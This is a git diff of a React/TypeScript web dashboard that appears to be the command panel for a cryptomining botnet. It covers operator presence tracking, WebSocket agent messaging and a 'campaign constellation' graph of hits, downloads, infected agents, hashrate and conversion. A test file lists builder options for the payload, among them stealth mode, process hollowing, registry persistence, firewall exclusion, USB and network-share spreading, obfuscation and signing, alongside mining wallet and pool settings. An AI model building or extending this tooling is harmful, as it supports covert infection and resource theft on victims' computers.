|
||||
() => ({
|
||||
selfUser: state.selfUser,
|
||||
comrades,
|
||||
othersOnline: comrades.length > 0,
|
||||
comradesHere,
|
||||
notesTyping: state.notesTyping,
|
||||
sendNotesTyping,
|
||||
}),
|
||||
[state.selfUser, comrades, comradesHere, state.notesTyping, sendNotesTyping],
|
||||
);
|
||||
|
||||
return <PresenceContext.Provider value={value}>{children}</PresenceContext.Provider>;
|
||||
}
|
||||
|
||||
export function usePresence(): PresenceContextValue {
|
||||
return useContext(PresenceContext);
|
||||
}
|
||||
@@ -32,6 +32,10 @@ export const SFX_INTERACTIVE_SELECTOR = [
|
||||
'.pt-agent-card:not([style*="cursor: not-allowed"])',
|
||||
'.endpoint-chip:not(:disabled)',
|
||||
'.fleet-group-chip:not(:disabled)',
|
||||
'.forge-mission-wizard-pill:not(:disabled)',
|
||||
'.forge-mission-op-chip:not(:disabled)',
|
||||
'.operator-interactive',
|
||||
'.operator-interactive-btn',
|
||||
].join(', ');
|
||||
|
||||
/** Elements that emit hover highlight SFX (debounced). */
|
||||
@@ -39,6 +43,9 @@ export const HOVER_INTERACTIVE_SELECTOR = [
|
||||
SFX_INTERACTIVE_SELECTOR,
|
||||
'.neon-card',
|
||||
'.card',
|
||||
'.operator-deck-card',
|
||||
'.operator-interactive',
|
||||
'.operator-interactive-btn',
|
||||
'a[href]:not([data-sfx="off"])',
|
||||
].join(', ');
|
||||
|
||||
|
||||
@@ -27,6 +27,7 @@ describe('WebSocketContext', () => {
|
||||
agentLogs: { 'agent-001-uuid': 'log line' },
|
||||
commandResults: [{ agent_id: 'a1', action: 'pause', success: true, _seq: 1 }],
|
||||
latestMessage: null,
|
||||
sendDashboardMessage: () => {},
|
||||
};
|
||||
|
||||
const wrapper = ({ children }: { children: React.ReactNode }) => (
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import React, { createContext, useContext } from 'react';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
import type { WSCommandResult } from '../types/ws';
|
||||
import type { WSCommandResult, WSPolicyAck } from '../types/ws';
|
||||
|
||||
/**
|
||||
* WSCommandResult with a monotonic sequence number attached by the provider.
|
||||
@@ -10,6 +10,8 @@ import type { WSCommandResult } from '../types/ws';
|
||||
*/
|
||||
export type SeqCommandResult = WSCommandResult & { _seq: number };
|
||||
|
||||
export type SeqPolicyAck = WSPolicyAck & { _seq: number };
|
||||
|
||||
export interface WebSocketContextValue {
|
||||
isConnected: boolean;
|
||||
agents: Agent[];
|
||||
@@ -19,8 +21,10 @@ export interface WebSocketContextValue {
|
||||
aiActivity: AIActivityEntry[];
|
||||
agentLogs: Record<string, string>;
|
||||
commandResults: SeqCommandResult[];
|
||||
policyAcks: SeqPolicyAck[];
|
||||
/** @deprecated Use commandResults instead. */
|
||||
latestMessage: WSMessage | null;
|
||||
sendDashboardMessage: (type: string, payload: Record<string, unknown>) => void;
|
||||
}
|
||||
|
||||
export const WebSocketContext = createContext<WebSocketContextValue>({
|
||||
@@ -32,7 +36,9 @@ export const WebSocketContext = createContext<WebSocketContextValue>({
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
policyAcks: [],
|
||||
latestMessage: null,
|
||||
sendDashboardMessage: () => {},
|
||||
});
|
||||
|
||||
export function useWebSocketContext(): WebSocketContextValue {
|
||||
|
||||
@@ -5,10 +5,12 @@ import type {
|
||||
WSStatsUpdate,
|
||||
WSCommandResult,
|
||||
WSAgentLog,
|
||||
WSPolicyAck,
|
||||
} from '../types/ws';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
import { WebSocketContext } from './WebSocketContext';
|
||||
import type { SeqCommandResult } from './WebSocketContext';
|
||||
import type { SeqPolicyAck } from './WebSocketContext';
|
||||
import { authHeaders, getStoredAuth } from '../api/auth';
|
||||
|
||||
/**
|
||||
@@ -28,9 +30,17 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
const [aiActivity, setAiActivity] = useState<AIActivityEntry[]>([]);
|
||||
const [agentLogs, setAgentLogs] = useState<Record<string, string>>({});
|
||||
const [commandResults, setCommandResults] = useState<SeqCommandResult[]>([]);
|
||||
const [policyAcks, setPolicyAcks] = useState<SeqPolicyAck[]>([]);
|
||||
const [latestMessage, setLatestMessage] = useState<WSMessage | null>(null);
|
||||
// Monotonic counter so consumers can detect new entries even after the ring buffer trims old ones
|
||||
const cmdSeqRef = useRef(0);
|
||||
const policyAckSeqRef = useRef(0);
|
||||
|
||||
const sendDashboardMessage = useCallback((type: string, payload: Record<string, unknown>) => {
|
||||
const ws = wsRef.current;
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||
ws.send(JSON.stringify({ type, payload }));
|
||||
}, []);
|
||||
|
||||
const connect = useCallback(() => {
|
||||
if (unmounted.current) return;
|
||||
@@ -231,11 +241,35 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'policy_ack': {
|
||||
const ack = msg.payload as WSPolicyAck;
|
||||
policyAckSeqRef.current += 1;
|
||||
setPolicyAcks((prev) => [...prev.slice(-49), { ...ack, _seq: policyAckSeqRef.current }]);
|
||||
break;
|
||||
}
|
||||
case 'agent_log': {
|
||||
const { agent_id, content } = msg.payload as WSAgentLog;
|
||||
if (agent_id) setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
|
||||
break;
|
||||
}
|
||||
case 'agent_capabilities': {
|
||||
const { agent_id, capabilities } = msg.payload as {
|
||||
agent_id: string;
|
||||
capabilities: Agent['capabilities'];
|
||||
};
|
||||
if (!agent_id || !capabilities) break;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === agent_id
|
||||
? {
|
||||
...a,
|
||||
capabilities: { ...a.capabilities, ...capabilities },
|
||||
}
|
||||
: a
|
||||
)
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
console.error('Failed to parse WebSocket message:', err);
|
||||
@@ -263,7 +297,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
return (
|
||||
<WebSocketContext.Provider value={{
|
||||
isConnected, agents, recentShares, fleetAlerts, poolStatus,
|
||||
aiActivity, agentLogs, commandResults, latestMessage,
|
||||
aiActivity, agentLogs, commandResults, policyAcks, latestMessage, sendDashboardMessage,
|
||||
}}>
|
||||
{children}
|
||||
</WebSocketContext.Provider>
|
||||
|
||||
144
server/web/src/context/presenceReducer.test.ts
Normal file
144
server/web/src/context/presenceReducer.test.ts
Normal file
@@ -0,0 +1,144 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
comradesOnPage,
|
||||
initialPresenceState,
|
||||
onlineComrades,
|
||||
reducePresence,
|
||||
} from './presenceReducer';
|
||||
|
||||
describe('reducePresence', () => {
|
||||
it('tracks self user and excludes from comrades', () => {
|
||||
let state = reducePresence(initialPresenceState, { type: 'set_self', user: 'india' });
|
||||
state = reducePresence(state, {
|
||||
type: 'presence_update',
|
||||
user: 'india',
|
||||
page: '/crucible',
|
||||
online: true,
|
||||
ts: 1,
|
||||
});
|
||||
state = reducePresence(state, {
|
||||
type: 'presence_update',
|
||||
user: 'comrade',
|
||||
page: '/emberwake',
|
||||
online: true,
|
||||
ts: 2,
|
||||
});
|
||||
expect(onlineComrades(state).map((c) => c.user)).toEqual(['comrade']);
|
||||
expect(state.comrades.comrade.page).toBe('/emberwake');
|
||||
});
|
||||
|
||||
it('hydrates from presence_snapshot', () => {
|
||||
const state = reducePresence(
|
||||
{ ...initialPresenceState, selfUser: 'india' },
|
||||
{
|
||||
type: 'presence_snapshot',
|
||||
comrades: [
|
||||
{ user: 'india', page: '/dashboard', online: true, ts: 1 },
|
||||
{ user: 'comrade', page: '/crucible', online: true, ts: 2 },
|
||||
],
|
||||
},
|
||||
);
|
||||
expect(onlineComrades(state)).toHaveLength(1);
|
||||
expect(comradesOnPage(state, '/crucible')[0]?.user).toBe('comrade');
|
||||
});
|
||||
|
||||
it('removes comrade on offline presence_update', () => {
|
||||
let state = reducePresence(initialPresenceState, {
|
||||
type: 'presence_update',
|
||||
user: 'comrade',
|
||||
page: '/forge',
|
||||
online: true,
|
||||
ts: 1,
|
||||
});
|
||||
state = reducePresence(state, {
|
||||
type: 'presence_update',
|
||||
user: 'comrade',
|
||||
page: '',
|
||||
online: false,
|
||||
ts: 2,
|
||||
});
|
||||
expect(onlineComrades(state)).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('tracks notes_typing from other users only', () => {
|
||||
let state = reducePresence(initialPresenceState, { type: 'set_self', user: 'india' });
|
||||
state = reducePresence(state, {
|
||||
type: 'notes_typing',
|
||||
user: 'comrade',
|
||||
active: true,
|
||||
ts: 100,
|
||||
});
|
||||
expect(state.notesTyping?.user).toBe('comrade');
|
||||
|
||||
state = reducePresence(state, {
|
||||
type: 'notes_typing',
|
||||
user: 'india',
|
||||
active: true,
|
||||
ts: 101,
|
||||
});
|
||||
expect(state.notesTyping?.user).toBe('comrade');
|
||||
|
||||
state = reducePresence(state, {
|
||||
type: 'notes_typing',
|
||||
user: 'comrade',
|
||||
active: false,
|
||||
ts: 102,
|
||||
});
|
||||
expect(state.notesTyping).toBeNull();
|
||||
});
|
||||
|
||||
it('clears notes_typing via clear_notes_typing', () => {
|
||||
let state = reducePresence(initialPresenceState, {
|
||||
type: 'notes_typing',
|
||||
user: 'comrade',
|
||||
active: true,
|
||||
ts: 1,
|
||||
});
|
||||
state = reducePresence(state, { type: 'clear_notes_typing' });
|
||||
expect(state.notesTyping).toBeNull();
|
||||
});
|
||||
|
||||
it('replaces stale notes_typing when another user types', () => {
|
||||
let state = reducePresence(initialPresenceState, {
|
||||
type: 'notes_typing',
|
||||
user: 'alpha',
|
||||
active: true,
|
||||
ts: 1,
|
||||
});
|
||||
state = reducePresence(state, {
|
||||
type: 'notes_typing',
|
||||
user: 'bravo',
|
||||
active: true,
|
||||
ts: 2,
|
||||
});
|
||||
expect(state.notesTyping?.user).toBe('bravo');
|
||||
});
|
||||
|
||||
it('normalizes page paths for comradesOnPage', () => {
|
||||
let state = reducePresence(initialPresenceState, {
|
||||
type: 'presence_update',
|
||||
user: 'comrade',
|
||||
page: 'crucible',
|
||||
online: true,
|
||||
ts: 1,
|
||||
});
|
||||
expect(comradesOnPage(state, '/crucible')).toHaveLength(1);
|
||||
expect(comradesOnPage(state, 'crucible')).toHaveLength(1);
|
||||
expect(comradesOnPage(state, '/emberwake')).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('snapshot skips offline comrades and self', () => {
|
||||
const state = reducePresence(
|
||||
{ ...initialPresenceState, selfUser: 'india' },
|
||||
{
|
||||
type: 'presence_snapshot',
|
||||
comrades: [
|
||||
{ user: 'india', page: '/dashboard', online: true, ts: 1 },
|
||||
{ user: 'ghost', page: '/forge', online: false, ts: 2 },
|
||||
{ user: 'comrade', page: '/crucible', online: true, ts: 3 },
|
||||
],
|
||||
},
|
||||
);
|
||||
expect(onlineComrades(state).map((c) => c.user)).toEqual(['comrade']);
|
||||
});
|
||||
});
|
||||
92
server/web/src/context/presenceReducer.ts
Normal file
92
server/web/src/context/presenceReducer.ts
Normal file
@@ -0,0 +1,92 @@
|
||||
export interface ComradePresence {
|
||||
user: string;
|
||||
page: string;
|
||||
online: boolean;
|
||||
ts: number;
|
||||
}
|
||||
|
||||
export interface NotesTyping {
|
||||
user: string;
|
||||
active: boolean;
|
||||
ts: number;
|
||||
}
|
||||
|
||||
export interface PresenceState {
|
||||
comrades: Record<string, ComradePresence>;
|
||||
notesTyping: NotesTyping | null;
|
||||
selfUser: string | null;
|
||||
}
|
||||
|
||||
export const initialPresenceState: PresenceState = {
|
||||
comrades: {},
|
||||
notesTyping: null,
|
||||
selfUser: null,
|
||||
};
|
||||
|
||||
export type PresenceAction =
|
||||
| { type: 'set_self'; user: string | null }
|
||||
| { type: 'presence_snapshot'; comrades: ComradePresence[] }
|
||||
| { type: 'presence_update'; user: string; page: string; online: boolean; ts: number }
|
||||
| { type: 'notes_typing'; user: string; active: boolean; ts: number }
|
||||
| { type: 'clear_notes_typing' };
|
||||
|
||||
export function reducePresence(state: PresenceState, action: PresenceAction): PresenceState {
|
||||
switch (action.type) {
|
||||
case 'set_self':
|
||||
return { ...state, selfUser: action.user };
|
||||
case 'presence_snapshot': {
|
||||
const comrades: Record<string, ComradePresence> = {};
|
||||
for (const c of action.comrades) {
|
||||
if (!c.user || !c.online) continue;
|
||||
if (state.selfUser && c.user === state.selfUser) continue;
|
||||
comrades[c.user] = { ...c, online: true };
|
||||
}
|
||||
return { ...state, comrades };
|
||||
}
|
||||
case 'presence_update': {
|
||||
const next = { ...state.comrades };
|
||||
if (!action.online || (state.selfUser && action.user === state.selfUser)) {
|
||||
delete next[action.user];
|
||||
return { ...state, comrades: next };
|
||||
}
|
||||
next[action.user] = {
|
||||
user: action.user,
|
||||
page: action.page || '/dashboard',
|
||||
online: true,
|
||||
ts: action.ts,
|
||||
};
|
||||
return { ...state, comrades: next };
|
||||
}
|
||||
case 'notes_typing': {
|
||||
if (state.selfUser && action.user === state.selfUser) {
|
||||
return state;
|
||||
}
|
||||
if (!action.active) {
|
||||
if (state.notesTyping?.user === action.user) {
|
||||
return { ...state, notesTyping: null };
|
||||
}
|
||||
return state;
|
||||
}
|
||||
return {
|
||||
...state,
|
||||
notesTyping: { user: action.user, active: true, ts: action.ts },
|
||||
};
|
||||
}
|
||||
case 'clear_notes_typing':
|
||||
return { ...state, notesTyping: null };
|
||||
default:
|
||||
return state;
|
||||
}
|
||||
}
|
||||
|
||||
export function onlineComrades(state: PresenceState): ComradePresence[] {
|
||||
return Object.values(state.comrades).filter((c) => c.online);
|
||||
}
|
||||
|
||||
export function comradesOnPage(state: PresenceState, page: string): ComradePresence[] {
|
||||
const normalized = page.startsWith('/') ? page : `/${page}`;
|
||||
return onlineComrades(state).filter((c) => {
|
||||
const p = c.page.startsWith('/') ? c.page : `/${c.page}`;
|
||||
return p === normalized;
|
||||
});
|
||||
}
|
||||
112
server/web/src/help/campaignConstellations.test.ts
Normal file
112
server/web/src/help/campaignConstellations.test.ts
Normal file
@@ -0,0 +1,112 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
|
||||
import type { WarRoomCampaign } from './warRoom';
|
||||
import {
|
||||
buildConstellationEdges,
|
||||
buildConstellationGraph,
|
||||
conversionColor,
|
||||
initNodePositions,
|
||||
nodeBrightness,
|
||||
nodeRadius,
|
||||
settleForceLayout,
|
||||
tickForceLayout,
|
||||
} from './campaignConstellations';
|
||||
|
||||
function campaign(partial: Partial<WarRoomCampaign> & Pick<WarRoomCampaign, 'campaign'>): WarRoomCampaign {
|
||||
return {
|
||||
hits: 0,
|
||||
downloads: 0,
|
||||
agents: 0,
|
||||
online: 0,
|
||||
hashrate: 0,
|
||||
conversion_pct: 0,
|
||||
daily_hits: [],
|
||||
...partial,
|
||||
};
|
||||
}
|
||||
|
||||
describe('campaignConstellations helpers', () => {
|
||||
it('scales node radius by hits', () => {
|
||||
expect(nodeRadius(0, 100)).toBe(10);
|
||||
expect(nodeRadius(100, 100)).toBeGreaterThan(nodeRadius(25, 100));
|
||||
expect(nodeRadius(100, 100)).toBeLessThanOrEqual(36);
|
||||
});
|
||||
|
||||
it('scales brightness from online agents', () => {
|
||||
expect(nodeBrightness(0, 5)).toBe(0.35);
|
||||
expect(nodeBrightness(5, 5)).toBe(1);
|
||||
expect(nodeBrightness(2, 4)).toBeCloseTo(0.675, 2);
|
||||
});
|
||||
|
||||
it('maps conversion to aether gradient colors', () => {
|
||||
expect(conversionColor(0)).toMatch(/^rgb\(/);
|
||||
expect(conversionColor(100)).toMatch(/^rgb\(/);
|
||||
expect(conversionColor(0)).not.toBe(conversionColor(100));
|
||||
});
|
||||
|
||||
it('links campaigns sharing pins', () => {
|
||||
const edges = buildConstellationEdges([
|
||||
{ campaign: 'a', pins: ['build-1', 'build-2'] },
|
||||
{ campaign: 'b', pins: ['build-2'] },
|
||||
{ campaign: 'c', pins: ['build-9'] },
|
||||
]);
|
||||
expect(edges).toHaveLength(1);
|
||||
expect(edges[0].source).toBe('a');
|
||||
expect(edges[0].target).toBe('b');
|
||||
expect(edges[0].sharedPins).toEqual(['build-2']);
|
||||
});
|
||||
|
||||
it('builds graph with pulsing flag when online', () => {
|
||||
const graph = buildConstellationGraph([
|
||||
campaign({ campaign: 'live', hits: 40, online: 2, conversion_pct: 12, pins: ['p1'] }),
|
||||
campaign({ campaign: 'cold', hits: 10, online: 0, conversion_pct: 0 }),
|
||||
]);
|
||||
expect(graph.nodes).toHaveLength(2);
|
||||
expect(graph.nodes.find((n) => n.campaign === 'live')?.pulsing).toBe(true);
|
||||
expect(graph.nodes.find((n) => n.campaign === 'cold')?.pulsing).toBe(false);
|
||||
});
|
||||
|
||||
it('initializes nodes inside viewport', () => {
|
||||
const graph = buildConstellationGraph([
|
||||
campaign({ campaign: 'x', hits: 5 }),
|
||||
campaign({ campaign: 'y', hits: 8 }),
|
||||
]);
|
||||
initNodePositions(graph.nodes, 400, 300);
|
||||
for (const n of graph.nodes) {
|
||||
expect(n.x).toBeGreaterThan(0);
|
||||
expect(n.x).toBeLessThan(400);
|
||||
expect(n.y).toBeGreaterThan(0);
|
||||
expect(n.y).toBeLessThan(300);
|
||||
}
|
||||
});
|
||||
|
||||
it('settles force layout without NaN coordinates', () => {
|
||||
const graph = buildConstellationGraph([
|
||||
campaign({ campaign: 'a', hits: 50, pins: ['pin-a'] }),
|
||||
campaign({ campaign: 'b', hits: 30, pins: ['pin-a'] }),
|
||||
campaign({ campaign: 'c', hits: 10, pins: ['pin-z'] }),
|
||||
]);
|
||||
settleForceLayout(graph.nodes, graph.edges, 480, 320, 80);
|
||||
for (const n of graph.nodes) {
|
||||
expect(Number.isFinite(n.x)).toBe(true);
|
||||
expect(Number.isFinite(n.y)).toBe(true);
|
||||
}
|
||||
const a = graph.nodes.find((n) => n.id === 'a')!;
|
||||
const b = graph.nodes.find((n) => n.id === 'b')!;
|
||||
const c = graph.nodes.find((n) => n.id === 'c')!;
|
||||
const ab = Math.hypot(a.x - b.x, a.y - b.y);
|
||||
const ac = Math.hypot(a.x - c.x, a.y - c.y);
|
||||
expect(ab).toBeLessThan(ac);
|
||||
});
|
||||
|
||||
it('tickForceLayout keeps nodes in bounds', () => {
|
||||
const graph = buildConstellationGraph([campaign({ campaign: 'solo', hits: 1 })]);
|
||||
initNodePositions(graph.nodes, 200, 150);
|
||||
for (let i = 0; i < 20; i++) {
|
||||
tickForceLayout(graph.nodes, graph.edges, 200, 150, 0.5);
|
||||
}
|
||||
const n = graph.nodes[0];
|
||||
expect(n.x).toBeGreaterThanOrEqual(24);
|
||||
expect(n.x).toBeLessThanOrEqual(200 - 24);
|
||||
});
|
||||
});
|
||||
226
server/web/src/help/campaignConstellations.ts
Normal file
226
server/web/src/help/campaignConstellations.ts
Normal file
@@ -0,0 +1,226 @@
|
||||
/** Campaign constellation force-graph helpers for Emberwake War Room. */
|
||||
|
||||
import type { WarRoomCampaign } from './warRoom';
|
||||
|
||||
export interface ConstellationNode {
|
||||
id: string;
|
||||
campaign: string;
|
||||
hits: number;
|
||||
online: number;
|
||||
conversionPct: number;
|
||||
pins: string[];
|
||||
radius: number;
|
||||
color: string;
|
||||
brightness: number;
|
||||
pulsing: boolean;
|
||||
x: number;
|
||||
y: number;
|
||||
vx: number;
|
||||
vy: number;
|
||||
}
|
||||
|
||||
export interface ConstellationEdge {
|
||||
source: string;
|
||||
target: string;
|
||||
sharedPins: string[];
|
||||
}
|
||||
|
||||
export interface ConstellationGraph {
|
||||
nodes: ConstellationNode[];
|
||||
edges: ConstellationEdge[];
|
||||
}
|
||||
|
||||
const MIN_RADIUS = 10;
|
||||
const MAX_RADIUS = 36;
|
||||
|
||||
/** Node radius scaled by hits (sqrt curve for readability). */
|
||||
export function nodeRadius(hits: number, maxHits: number): number {
|
||||
if (hits <= 0) return MIN_RADIUS;
|
||||
if (maxHits <= 0) return MIN_RADIUS + 4;
|
||||
const t = Math.sqrt(hits / maxHits);
|
||||
return MIN_RADIUS + t * (MAX_RADIUS - MIN_RADIUS);
|
||||
}
|
||||
|
||||
/** Brightness 0.35–1.0 from online agent count. */
|
||||
export function nodeBrightness(online: number, maxOnline: number): number {
|
||||
if (online <= 0) return 0.35;
|
||||
if (maxOnline <= 0) return 1;
|
||||
return 0.35 + 0.65 * (online / maxOnline);
|
||||
}
|
||||
|
||||
/** Aether palette: cool cyan (low) → gold (mid) → rose (high conversion). */
|
||||
export function conversionColor(pct: number): string {
|
||||
const t = Math.max(0, Math.min(1, pct / 100));
|
||||
if (t < 0.5) {
|
||||
const u = t / 0.5;
|
||||
const r = Math.round(61 + u * (201 - 61));
|
||||
const g = Math.round(214 + u * (162 - 214));
|
||||
const b = Math.round(198 + u * (39 - 198));
|
||||
return `rgb(${r},${g},${b})`;
|
||||
}
|
||||
const u = (t - 0.5) / 0.5;
|
||||
const r = Math.round(201 + u * (244 - 201));
|
||||
const g = Math.round(162 + u * (63 - 162));
|
||||
const b = Math.round(39 + u * (94 - 39));
|
||||
return `rgb(${r},${g},${b})`;
|
||||
}
|
||||
|
||||
/** Edges link campaigns that share at least one pin/build id. */
|
||||
export function buildConstellationEdges(
|
||||
campaigns: Pick<WarRoomCampaign, 'campaign' | 'pins'>[],
|
||||
): ConstellationEdge[] {
|
||||
const edges: ConstellationEdge[] = [];
|
||||
const seen = new Set<string>();
|
||||
|
||||
for (let i = 0; i < campaigns.length; i++) {
|
||||
const pinsA = new Set((campaigns[i].pins ?? []).filter(Boolean));
|
||||
if (!pinsA.size) continue;
|
||||
|
||||
for (let j = i + 1; j < campaigns.length; j++) {
|
||||
const shared = (campaigns[j].pins ?? []).filter((p) => pinsA.has(p));
|
||||
if (!shared.length) continue;
|
||||
|
||||
const a = campaigns[i].campaign;
|
||||
const b = campaigns[j].campaign;
|
||||
const key = a < b ? `${a}|${b}` : `${b}|${a}`;
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
|
||||
edges.push({ source: a, target: b, sharedPins: [...new Set(shared)] });
|
||||
}
|
||||
}
|
||||
|
||||
return edges;
|
||||
}
|
||||
|
||||
/** Build graph nodes + pin-sharing edges from war-room campaigns. */
|
||||
export function buildConstellationGraph(campaigns: WarRoomCampaign[]): ConstellationGraph {
|
||||
const maxHits = Math.max(1, ...campaigns.map((c) => c.hits ?? 0));
|
||||
const maxOnline = Math.max(1, ...campaigns.map((c) => c.online ?? 0));
|
||||
|
||||
const nodes: ConstellationNode[] = campaigns.map((c) => {
|
||||
const hits = c.hits ?? 0;
|
||||
const online = c.online ?? 0;
|
||||
return {
|
||||
id: c.campaign,
|
||||
campaign: c.campaign,
|
||||
hits,
|
||||
online,
|
||||
conversionPct: c.conversion_pct ?? 0,
|
||||
pins: c.pins ?? [],
|
||||
radius: nodeRadius(hits, maxHits),
|
||||
color: conversionColor(c.conversion_pct ?? 0),
|
||||
brightness: nodeBrightness(online, maxOnline),
|
||||
pulsing: online > 0,
|
||||
x: 0,
|
||||
y: 0,
|
||||
vx: 0,
|
||||
vy: 0,
|
||||
};
|
||||
});
|
||||
|
||||
return { nodes, edges: buildConstellationEdges(campaigns) };
|
||||
}
|
||||
|
||||
/** Scatter nodes in a circle for force-sim cold start. */
|
||||
export function initNodePositions(nodes: ConstellationNode[], width: number, height: number): void {
|
||||
const cx = width / 2;
|
||||
const cy = height / 2;
|
||||
const ring = Math.min(width, height) * 0.32;
|
||||
|
||||
nodes.forEach((n, i) => {
|
||||
const angle = (i / Math.max(1, nodes.length)) * Math.PI * 2;
|
||||
n.x = cx + Math.cos(angle) * ring;
|
||||
n.y = cy + Math.sin(angle) * ring;
|
||||
n.vx = 0;
|
||||
n.vy = 0;
|
||||
});
|
||||
}
|
||||
|
||||
const REPULSE = 4200;
|
||||
const SPRING = 0.045;
|
||||
const SPRING_LEN = 90;
|
||||
const CENTER = 0.012;
|
||||
const DAMPING = 0.82;
|
||||
const PAD = 24;
|
||||
|
||||
/** One tick of lightweight force-directed layout (no D3). */
|
||||
export function tickForceLayout(
|
||||
nodes: ConstellationNode[],
|
||||
edges: ConstellationEdge[],
|
||||
width: number,
|
||||
height: number,
|
||||
alpha = 1,
|
||||
): void {
|
||||
const cx = width / 2;
|
||||
const cy = height / 2;
|
||||
const nodeById = new Map(nodes.map((n) => [n.id, n]));
|
||||
|
||||
for (let i = 0; i < nodes.length; i++) {
|
||||
for (let j = i + 1; j < nodes.length; j++) {
|
||||
const a = nodes[i];
|
||||
const b = nodes[j];
|
||||
let dx = b.x - a.x;
|
||||
let dy = b.y - a.y;
|
||||
let dist = Math.hypot(dx, dy) || 0.01;
|
||||
const minDist = a.radius + b.radius + 12;
|
||||
const force = (REPULSE * alpha) / (dist * dist);
|
||||
if (dist < minDist) {
|
||||
const push = ((minDist - dist) / dist) * 0.5;
|
||||
dx *= push;
|
||||
dy *= push;
|
||||
dist = Math.hypot(dx, dy) || 0.01;
|
||||
}
|
||||
const fx = (dx / dist) * force;
|
||||
const fy = (dy / dist) * force;
|
||||
a.vx -= fx;
|
||||
a.vy -= fy;
|
||||
b.vx += fx;
|
||||
b.vy += fy;
|
||||
}
|
||||
}
|
||||
|
||||
for (const e of edges) {
|
||||
const a = nodeById.get(e.source);
|
||||
const b = nodeById.get(e.target);
|
||||
if (!a || !b) continue;
|
||||
const dx = b.x - a.x;
|
||||
const dy = b.y - a.y;
|
||||
const dist = Math.hypot(dx, dy) || 0.01;
|
||||
const force = (dist - SPRING_LEN) * SPRING * alpha;
|
||||
const fx = (dx / dist) * force;
|
||||
const fy = (dy / dist) * force;
|
||||
a.vx += fx;
|
||||
a.vy += fy;
|
||||
b.vx -= fx;
|
||||
b.vy -= fy;
|
||||
}
|
||||
|
||||
for (const n of nodes) {
|
||||
n.vx += (cx - n.x) * CENTER * alpha;
|
||||
n.vy += (cy - n.y) * CENTER * alpha;
|
||||
n.vx *= DAMPING;
|
||||
n.vy *= DAMPING;
|
||||
n.x += n.vx;
|
||||
n.y += n.vy;
|
||||
|
||||
const r = n.radius + PAD;
|
||||
n.x = Math.max(r, Math.min(width - r, n.x));
|
||||
n.y = Math.max(r, Math.min(height - r, n.y));
|
||||
}
|
||||
}
|
||||
|
||||
/** Run layout to near-equilibrium; returns same node references (mutated). */
|
||||
export function settleForceLayout(
|
||||
nodes: ConstellationNode[],
|
||||
edges: ConstellationEdge[],
|
||||
width: number,
|
||||
height: number,
|
||||
ticks = 120,
|
||||
): ConstellationNode[] {
|
||||
initNodePositions(nodes, width, height);
|
||||
for (let t = ticks; t > 0; t--) {
|
||||
tickForceLayout(nodes, edges, width, height, t / ticks);
|
||||
}
|
||||
return nodes;
|
||||
}
|
||||
65
server/web/src/help/docAnchors.test.ts
Normal file
65
server/web/src/help/docAnchors.test.ts
Normal file
@@ -0,0 +1,65 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { DOC_ANCHORS, docAnchorForField } from './docAnchors';
|
||||
import { FIELD_HELP } from './settingHelp';
|
||||
|
||||
/** Fields rendered with HelpTip in BuilderPage + SettingsPage. */
|
||||
const HELP_TIP_FIELDS = [
|
||||
'calibrate_wallet', 'public_url', 'cloudflare_tunnel_token', 'open_firewall_on_start',
|
||||
'obfuscate_default', 'sign_enabled', 'sign_cert_thumbprint', 'sign_tool_path', 'sign_timestamp_url',
|
||||
'worker_name', 'server_url', 'https_beacon_fallback', 'wallet', 'pool_pass',
|
||||
'target_os', 'target_arch', 'output_dir', 'thread_mode', 'thread_percent', 'threads',
|
||||
'cpu_priority', 'max_cpu_usage_pct', 'max_memory_percent', 'min_free_ram_mb', 'mining_mode',
|
||||
'idle_threshold_pct', 'idle_duration_minutes', 'schedule_start', 'schedule_end',
|
||||
'install_base', 'install_custom_base', 'install_relative_path', 'adapt_to_hardware',
|
||||
'firewall_exclusion', 'self_healing', 'stealth_mode', 'process_hollowing', 'file_logging',
|
||||
'process_name', 'display_mode', 'persistence', 'run_as', 'host_binary_target', 'auto_start',
|
||||
'autostart_mode', 'registry_persistence', 'registry_run_hkcu', 'registry_run_once',
|
||||
'registry_run_hklm', 'registry_explorer_run', 'fusion_enabled', 'fusion_prep',
|
||||
'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
|
||||
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
|
||||
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
|
||||
] as const;
|
||||
|
||||
describe('docAnchors', () => {
|
||||
it('maps at least 60 forge/calibrate/crucible hints', () => {
|
||||
expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60);
|
||||
});
|
||||
|
||||
it('returns /docs/# paths', () => {
|
||||
for (const path of Object.values(DOC_ANCHORS)) {
|
||||
expect(path).toMatch(/^\/docs\/#[\w-]+$/);
|
||||
}
|
||||
});
|
||||
|
||||
it('docAnchorForField resolves known keys', () => {
|
||||
expect(docAnchorForField('stealth_mode')).toBe('/docs/#forge-stealth');
|
||||
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#dashboard');
|
||||
expect(docAnchorForField('unknown_field')).toBeUndefined();
|
||||
});
|
||||
|
||||
it('covers top calibrate fields', () => {
|
||||
expect(DOC_ANCHORS.calibrate_wallet).toBeDefined();
|
||||
expect(DOC_ANCHORS.public_url).toBeDefined();
|
||||
expect(DOC_ANCHORS.cloudflare_tunnel_token).toBeDefined();
|
||||
});
|
||||
